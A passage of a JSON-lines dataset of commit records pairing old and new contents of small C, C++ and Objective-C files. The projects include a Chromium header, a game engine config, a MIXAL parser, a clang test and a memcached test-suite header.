NSMutableDictionary *_Nullable links;\n@property (nonatomic, strong) NSMutableDictionary *_Nullable data;\n@property (nonatomic, strong) NSMutableDictionary *_Nullable commands;\n@property (nonatomic, strong) NSMutableDictionary *_Nullable queries;\n@property (nonatomic, strong) NSMutableArray <TSDKCollectionJSON *> *_Nullable collection;\n\n+ (NSDictionary *_Nullable)dictionaryToCollectionJSON:(NSDictionary *_Nonnull)dictionary;\n- (instancetype _Nullable)initWithCoder:(NSCoder *_Nonnull)aDecoder;\n- (instancetype _Nullable)initWithJSON:(NSDictionary *_Nonnull)JSON;\n+ (instancetype _Nullable)collectionJSONForEncodedData:(NSData *_Nonnull)objectData;\n- (NSString *_Nullable)getObjectiveCHeaderSkeleton;\n- (NSData *_Nonnull)dataEncodedForSave;\n\n@end\n","subject":"Add type to Collection Property","message":"Add type to Collection Property\n","lang":"C","license":"mit","repos":"teamsnap\/teamsnap-SDK-iOS,teamsnap\/teamsnap-SDK-iOS,teamsnap\/teamsnap-SDK-iOS"}
{"commit":"f2c9e4ef2fd88ddebec6d885eb6a9b40efdea4de","old_file":"simple-examples\/static.c","new_file":"simple-examples\/static.c","old_contents":"#include <stdio.h>\n\n\/* Static functions and static global variables are only visible in\n * the file that it is declared in. Static variables inside of a\n * function have a different meaning and is described below *\/\n\nvoid foo()\n{\n\tint x = 0;\n\tstatic int staticx = 0; \/\/ initialized once; keeps value between invocations of foo().\n\tx++;\n\tstaticx++;\n\tprintf(\"x=%d\\n\", x);\n\tprintf(\"staticx=%d\\n\", staticx);\n}\n\nint main(void)\n{\n\tfor(int i=0; i<10; i++)\n\t\tfoo();\n}\n","new_contents":"\/\/ Scott Kuhl\n#include <stdio.h>\n\n\/* Static functions and static global variables are only visible in\n * the file that it is declared in. Static variables inside of a\n * function have a different meaning and is described below *\/\n\nvoid foo()\n{\n\tint x = 0;\n\tstatic int staticx = 0; \/\/ initialized once; keeps value between invocations of foo().\n\tx++;\n\tstaticx++;\n\tprintf(\"x=%d\\n\", x);\n\tprintf(\"staticx=%d\\n\", staticx);\n}\n\nint main(void)\n{\n\tfor(int i=0; i<10; i++)\n\t\tfoo();\n}\n","subject":"Add name to top of file.","message":"Add name to top of file.","lang":"C","license":"unlicense","repos":"skuhl\/sys-prog-examples,skuhl\/sys-prog-examples,skuhl\/sys-prog-examples"}
{"commit":"ce94377523f8e0aeff726e30222974022dfaae59","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"\/******************************\n** Tsunagari Tile Engine     **\n** config.h                  **\n** Copyright 2011 OmegaSDG   **\n******************************\/\n\n#ifndef CONFIG_H\n#define CONFIG_H\n\n\/\/ === Default Configuration Settings ===\n\t\/* Tsunagari config file. -- Command Line *\/\n\t#define CLIENT_CONF_FILE \".\/client.conf\"\n\t\n\t\/* Error verbosity level. -- Command Line *\/\n\t#define MESSAGE_MODE MM_DEBUG\n\t\n\t\/* Milliseconds of button down before starting persistent input in\n\t   roguelike movement mode. -- Move to World Descriptor *\/\n\t#define ROGUELIKE_PERSIST_DELAY_INIT 500\n\t\n\t\/* Milliseconds between persistent input sends in roguelike movement\n\t   mode. -- Move to World Descriptor *\/\n\t#define ROGUELIKE_PERSIST_DELAY_CONSECUTIVE 100\n\t\n\t\/* Time to live in seconds for empty resource cache entries before they\n\t   are deleted. -- Command Line *\/\n\t#define CACHE_EMPTY_TTL 300\n\/\/ ===\n\n#endif\n\n","new_contents":"\/******************************\n** Tsunagari Tile Engine     **\n** config.h                  **\n** Copyright 2011 OmegaSDG   **\n******************************\/\n\n#ifndef CONFIG_H\n#define CONFIG_H\n\n\/\/ === Default Configuration Settings ===\n\t\/* Tsunagari config file. -- Command Line *\/\n\t#define CLIENT_CONF_FILE \".\/client.conf\"\n\t\n\t\/* Error verbosity level. -- Command Line *\/\n\t#define MESSAGE_MODE MM_DEBUG\n\t\n\t\/* Milliseconds of button down before starting persistent input in\n\t   roguelike movement mode. -- Move to World Descriptor *\/\n\t#define ROGUELIKE_PERSIST_DELAY_INIT 500\n\t\n\t\/* Milliseconds between persistent input sends in roguelike movement\n\t   mode. -- Move to World Descriptor *\/\n\t#define ROGUELIKE_PERSIST_DELAY_CONSECUTIVE 100\n\t\n\t\/* Time to live in seconds for empty resource cache entries before they\n\t   are deleted. -- Command Line *\/\n\t#define CACHE_EMPTY_TTL 300\n\/\/ ===\n\n\/\/ === Compiler Specific Defines ===\n\t\/* Fix snprintf for VisualC++. *\/\n\t#ifdef _MSC_VER\n\t\t#define snprintf _snprintf\n\t#endif\n\/\/ ===\n\n#endif\n\n","subject":"Fix snprintf on VisualC++ with a conditional define.","message":"Fix snprintf on VisualC++ with a conditional define.\n","lang":"C","license":"mit","repos":"pmer\/TsunagariC,pariahsoft\/Tsunagari,pariahsoft\/Tsunagari,pariahsoft\/TsunagariC,pariahsoft\/Tsunagari,pariahsoft\/Tsunagari,pmer\/TsunagariC,pariahsoft\/TsunagariC,pariahsoft\/TsunagariC,pmer\/TsunagariC"}
{"commit":"d1bc54a8c50707918b85e311d3e32c7870eb983f","old_file":"webkit\/glue\/screen_info.h","new_file":"webkit\/glue\/screen_info.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#ifndef WEBKIT_GLUE_SCREEN_INFO_H_\n#define WEBKIT_GLUE_SCREEN_INFO_H_\n\n#include \"base\/gfx\/rect.h\"\n\nnamespace webkit_glue {\n\nstruct ScreenInfo {\n  int depth;\n  int depth_per_component;\n  bool is_monochrome;\n  gfx::Rect rect;\n  gfx::Rect available_rect;\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_SCREEN_INFO_H_\n","subject":"Add missing file. Oops :(","message":"Add missing file.  Oops :(\n\nTBR=dglazkov\n\nReview URL: http:\/\/codereview.chromium.org\/8789\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@4338 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"M4sse\/chromium.src,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,M4sse\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,keishi\/chromium,timopulkkinen\/BubbleFish,jaruba\/chromium.src,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,ltilve\/chromium,anirudhSK\/chromium,patrickm\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,Chilledheart\/chromium,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,zcbenz\/cefode-chromium,dednal\/chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,dednal\/chromium.src,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,hujiajie\/pa-chromium,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,Just-D\/chromium-1,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,ondra-novak\/chromium.src,robclark\/chromium,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,robclark\/chromium,hujiajie\/pa-chromium,robclark\/chromium,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,Just-D\/chromium-1,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,ondra-novak\/chromium.src,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,jaruba\/chromium.src,keishi\/chromium,ltilve\/chromium,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,markYoungH\/chromium.src,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,rogerwang\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,keishi\/chromium,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,ltilve\/chromium,anirudhSK\/chromium,rogerwang\/chromium,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,robclark\/chromium,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,robclark\/chromium,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,littlstar\/chromium.src,dushu1203\/chromium.src,axinging\/chromium-crosswalk,dednal\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,M4sse\/chromium.src,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,rogerwang\/chromium,M4sse\/chromium.src,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,M4sse\/chromium.src,robclark\/chromium,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,M4sse\/chromium.src,ltilve\/chromium,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,keishi\/chromium,hgl888\/chromium-crosswalk,keishi\/chromium,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,Just-D\/chromium-1,axinging\/chromium-crosswalk,anirudhSK\/chromium,rogerwang\/chromium,chuan9\/chromium-crosswalk,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,Chilledheart\/chromium,dednal\/chromium.src,patrickm\/chromium.src,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,keishi\/chromium,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,Jonekee\/chromium.src,dednal\/chromium.src,zcbenz\/cefode-chromium,ltilve\/chromium,markYoungH\/chromium.src,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,patrickm\/chromium.src,axinging\/chromium-crosswalk,keishi\/chromium,Chilledheart\/chromium,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,dednal\/chromium.src,mogoweb\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,robclark\/chromium,timopulkkinen\/BubbleFish,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,patrickm\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,keishi\/chromium,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,anirudhSK\/chromium,hujiajie\/pa-chromium,dushu1203\/chromium.src,ltilve\/chromium,ondra-novak\/chromium.src,keishi\/chromium,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,dednal\/chromium.src,littlstar\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,Chilledheart\/chromium,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src"}
{"commit":"c54058d7b015ad60403f7996a98ba08dc30bf868","old_file":"src\/importers\/kredbimporter.h","new_file":"src\/importers\/kredbimporter.h","old_contents":"\/***************************************************************************\n*   Copyright © 2004 Jason Kivlighn <jkivlighn@gmail.com>                 *\n*                                                                         *\n*   This program is free software; you can redistribute it and\/or modify  *\n*   it under the terms of the GNU General Public License as published by  *\n*   the Free Software Foundation; either version 2 of the License, or     *\n*   (at your option) any later version.                                   *\n***************************************************************************\/\n\n#ifndef KREDBIMPORTER_H\n#define KREDBIMPORTER_H\n\n#include <QString>\n\n#include \"baseimporter.h\"\n\n\/** Class to import recipes from any other Krecipes database backend.\n  * Note: Though independent of database type, the two databases must have the same structure (i.e. be the same version)\n  * @author Jason Kivlighn\n  *\/\nclass KreDBImporter : public BaseImporter\n{\npublic:\n\tKreDBImporter( const QString &dbType, const QString &host = QString(), const QString &user = QString(), const QString &pass = QString(), int port = 0 );\n\tvirtual ~KreDBImporter();\n\nprivate:\n\tvirtual void parseFile( const QString &file_or_table );\n\n\tQString dbType;\n\tQString host;\n\tQString user;\n\tQString pass;\n\tint port;\n};\n\n#endif \/\/KREDBIMPORTER_H\n","new_contents":"\/***************************************************************************\n*   Copyright © 2004 Jason Kivlighn <jkivlighn@gmail.com>                 *\n*                                                                         *\n*   This program is free software; you can redistribute it and\/or modify  *\n*   it under the terms of the GNU General Public License as published by  *\n*   the Free Software Foundation; either version 2 of the License, or     *\n*   (at your option) any later version.                                   *\n***************************************************************************\/\n\n#ifndef KREDBIMPORTER_H\n#define KREDBIMPORTER_H\n\n#include <QString>\n\n#include \"baseimporter.h\"\n\n\/** Class to import recipes from any other Krecipes database backend.\n  * Note: Though independent of database type, the two databases must have the same structure (i.e. be the same version)\n  * @author Jason Kivlighn\n  *\/\nclass KreDBImporter : public BaseImporter\n{\npublic:\n\texplicit KreDBImporter( const QString &dbType, const QString &host = QString(), const QString &user = QString(), const QString &pass = QString(), int port = 0 );\n\tvirtual ~KreDBImporter();\n\nprivate:\n\tvirtual void parseFile( const QString &file_or_table );\n\n\tQString dbType;\n\tQString host;\n\tQString user;\n\tQString pass;\n\tint port;\n};\n\n#endif \/\/KREDBIMPORTER_H\n","subject":"Fix Krazy warnings: explicit - KreDBImporter","message":"Fix Krazy warnings: explicit - KreDBImporter\n\nsvn path=\/trunk\/extragear\/utils\/krecipes\/; revision=1119833\n","lang":"C","license":"lgpl-2.1","repos":"eliovir\/krecipes,eliovir\/krecipes,eliovir\/krecipes,eliovir\/krecipes"}
{"commit":"c1f31e37e3ed046237c04ef0dddcb6587d4f88fb","old_file":"src\/libdpdkif\/configuration.h","new_file":"src\/libdpdkif\/configuration.h","old_contents":"\/*\n * Configurables.  Adjust these to be appropriate for your system.\n *\/\n\n\/* change blacklist parameters (-b) if necessary *\/\nstatic const char *ealargs[] = {\n\t\"if_dpdk\",\n\t\"-b 00:00:03.0\",\n\t\"-c 1\",\n\t\"-n 1\",\n};\n\n\/* change PORTID to the one your want to use *\/\n#define IF_PORTID 0\n\n\/* change to the init method of your NIC driver *\/\n#ifndef PMD_INIT\n#define PMD_INIT rte_pmd_init_all\n#endif\n\n\/* Receive packets in bursts of 16 per read *\/\n#define MAX_PKT_BURST 16\n","new_contents":"\/*\n * Configurables.  Adjust these to be appropriate for your system.\n *\/\n\n\/* change blacklist parameters (-b) if necessary\n * If you have more than one interface, you will likely want to blacklist\n * at least one of them.\n *\/\nstatic const char *ealargs[] = {\n\t\"if_dpdk\",\n\t\"-b 00:00:03.0\",\n\t\"-c 1\",\n\t\"-n 1\",\n};\n\n\/* change PORTID to the one your want to use *\/\n#define IF_PORTID 0\n\n\/* change to the init method of your NIC driver *\/\n#ifndef PMD_INIT\n#define PMD_INIT rte_pmd_init_all\n#endif\n\n\/* Receive packets in bursts of 16 per read *\/\n#define MAX_PKT_BURST 16\n","subject":"Add note about blacklisting interfaces","message":"Add note about blacklisting interfaces","lang":"C","license":"bsd-2-clause","repos":"jqyy\/drv-netif-dpdk,jqyy\/drv-netif-dpdk"}
{"commit":"600d895282d9e8fe6d2505902ec3e3970a9e19f7","old_file":"src\/mixal_parser_lib\/include\/mixal\/parser.h","new_file":"src\/mixal_parser_lib\/include\/mixal\/parser.h","old_contents":"#pragma once\r\n#include <mixal\/config.h>\r\n#include <mixal\/parsers_utils.h>\r\n\r\nnamespace mixal {\r\n\r\nclass MIXAL_PARSER_LIB_EXPORT IParser\r\n{\r\npublic:\r\n\tstd::size_t parse_stream(std::string_view str, std::size_t offset = 0);\r\n\r\nprotected:\r\n\t~IParser() = default;\r\n\r\n\tvirtual void do_clear() = 0;\r\n\tvirtual std::size_t do_parse_stream(std::string_view str, std::size_t offset) = 0;\r\n};\r\n\r\ninline std::size_t IParser::parse_stream(std::string_view str, std::size_t offset \/*= 0*\/)\r\n{\r\n\tdo_clear();\r\n\r\n\tif (offset > str.size())\r\n\t{\r\n\t\treturn InvalidStreamPosition();\r\n\t}\r\n\r\n\tconst auto pos = do_parse_stream(str, offset);\r\n\tif (IsInvalidStreamPosition(pos))\r\n\t{\r\n\t\t\/\/ Parser is in undetermined state.\r\n\t\t\/\/ Put back in default state for free\r\n\t\tdo_clear();\r\n\t}\r\n\r\n\treturn pos;\r\n}\r\n\r\n} \/\/ namespace mixal\r\n\r\n","new_contents":"#pragma once\r\n#include <mixal\/config.h>\r\n#include <mixal\/parsers_utils.h>\r\n\r\nnamespace mixal {\r\n\r\nclass MIXAL_PARSER_LIB_EXPORT IParser\r\n{\r\npublic:\r\n\tstd::size_t parse_stream(std::string_view str, std::size_t offset = 0);\r\n\t\r\n\tbool is_valid() const;\r\n\tstd::string_view str() const;\r\n\r\nprotected:\r\n\tIParser() = default;\r\n\t~IParser() = default;\r\n\r\n\tvirtual void do_clear() = 0;\r\n\tvirtual std::size_t do_parse_stream(std::string_view str, std::size_t offset) = 0;\r\n\r\nprivate:\r\n\tvoid clear();\r\n\r\nprivate:\r\n\tstd::string_view str_;\r\n\tbool is_valid_{false};\r\n};\r\n\r\ninline std::size_t IParser::parse_stream(std::string_view str, std::size_t offset \/*= 0*\/)\r\n{\r\n\tclear();\r\n\r\n\tif (offset > str.size())\r\n\t{\r\n\t\treturn InvalidStreamPosition();\r\n\t}\r\n\r\n\tconst auto pos = do_parse_stream(str, offset);\r\n\tif (IsInvalidStreamPosition(pos))\r\n\t{\r\n\t\t\/\/ Parser is in undetermined state.\r\n\t\t\/\/ Put back in default state for free\r\n\t\tclear();\r\n\t\treturn InvalidStreamPosition();\r\n\t}\r\n\r\n\tis_valid_ = true;\r\n\tstr_ = str.substr(offset, pos - offset);\r\n\treturn pos;\r\n}\r\n\r\ninline void IParser::clear()\r\n{\r\n\tis_valid_ = false;\r\n\tdo_clear();\r\n}\r\n\r\ninline bool IParser::is_valid() const\r\n{\r\n\treturn is_valid_;\r\n}\r\n\r\ninline std::string_view IParser::str() const\r\n{\r\n\treturn str_;\r\n}\r\n\r\n} \/\/ namespace mixal\r\n\r\n","subject":"Extend IParser interface: remember parse state - succesfull or not; what part of string was parsed","message":"Extend IParser interface: remember parse state - succesfull or not; what part of string was parsed\n","lang":"C","license":"mit","repos":"grishavanika\/mix,grishavanika\/mix,grishavanika\/mix"}
{"commit":"fc8db80964b22fd9355745c4efe0e58b37cc02a5","old_file":"hard_way\/ex9.c","new_file":"hard_way\/ex9.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main(int argc, char *argv[]){\n    int numbers[4] = {0};\n    char name[4] = {'a'};\n\n    \/\/first print them out raw\n    printf(\"numbers: %d %d %d %d.\\n\",\n        numbers[0],\n        numbers[1],\n        numbers[2],\n        numbers[3]);\n\n    printf(\"name each: %c %c %c %c.\\n\",\n        name[0],\n        name[1],\n        name[2],\n        name[3]);\n    \n    return 0;\n}","subject":"Print out values of first two arrays","message":"Print out values of first two arrays\n","lang":"C","license":"mit","repos":"thewazir\/learning_c"}
{"commit":"2924da319e5a0d76d1ce8462c7029e6395884662","old_file":"test\/CodeGen\/2010-07-14-overconservative-align.c","new_file":"test\/CodeGen\/2010-07-14-overconservative-align.c","old_contents":"\/\/ RUN: %clang_cc1 %s -triple x86_64-apple-darwin -emit-llvm -o - | FileCheck %s\n\/\/ PR 5995\nstruct s {\n  int word;\n  struct {\n    int filler __attribute__ ((aligned (8)));\n  };\n};\n\nvoid func (struct s *s)\n{\n  \/\/ CHECK: load %struct.s** %s.addr, align 8\n  s->word = 0;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -triple x86_64-apple-darwin -emit-llvm -o - | FileCheck %s\n\/\/ PR 5995\nstruct s {\n  int word;\n  struct {\n    int filler __attribute__ ((aligned (8)));\n  };\n};\n\nvoid func (struct s *s)\n{\n  \/\/ CHECK: load %struct.s**{{.*}}align 8\n  s->word = 0;\n}\n","subject":"Rewrite matching line to be friendlier to misc buildbots.","message":"Rewrite matching line to be friendlier to misc buildbots.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136168 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"82050d5da0e4be70b0131eb996873e1f686b8d68","old_file":"ep_testsuite.h","new_file":"ep_testsuite.h","old_contents":"#ifndef EP_TESTSUITE_H\n#define EP_TESTSUITE_H 1\n\n#include <memcached\/engine.h>\n#include <memcached\/engine_testapp.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nMEMCACHED_PUBLIC_API\nengine_test_t* get_tests(void);\n\nMEMCACHED_PUBLIC_API\nbool setup_suite(struct test_harness *th);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"#ifndef EP_TESTSUITE_H\n#define EP_TESTSUITE_H 1\n\n#include <memcached\/engine.h>\n#include <memcached\/engine_testapp.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nMEMCACHED_PUBLIC_API\nengine_test_t* get_tests(void);\n\nMEMCACHED_PUBLIC_API\nbool setup_suite(struct test_harness *th);\n\nMEMCACHED_PUBLIC_API\nbool teardown_suite();\n\nenum test_result prepare(engine_test_t *test);\n\nvoid cleanup(engine_test_t *test, enum test_result result);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Fix test suite compilation errors","message":"Fix test suite compilation errors\n\nThis fixes some missing function declaration errors:\n\n  CXX    ep_testsuite_la-ep_testsuite.lo\ncc1plus: warnings being treated as errors\nep_testsuite.cc: In function ‘test_result prepare(engine_test_t*)’:\nep_testsuite.cc:5425: error: no previous declaration for ‘test_result prepare(engine_test_t*)’ [-Wmissing-declarations]\nep_testsuite.cc: In function ‘void cleanup(engine_test_t*, test_result)’:\nep_testsuite.cc:5447: error: no previous declaration for ‘void cleanup(engine_test_t*, test_result)’ [-Wmissing-declarations]\nep_testsuite.cc: In function ‘bool teardown_suite()’:\nep_testsuite.cc:5965: error: no previous declaration for ‘bool teardown_suite()’ [-Wmissing-declarations]\nmake[2]: *** [ep_testsuite_la-ep_testsuite.lo] Error 1\n\nChange-Id: I2363240c962a09740301a4a85f0559bc04981bcd\nReviewed-on: http:\/\/review.couchbase.org\/7913\nTested-by: Filipe David Borba Manana <e0fcd583df77ec6c08e6d1257619cc1216ddc994@gmail.com>\nReviewed-by: Dustin Sallings 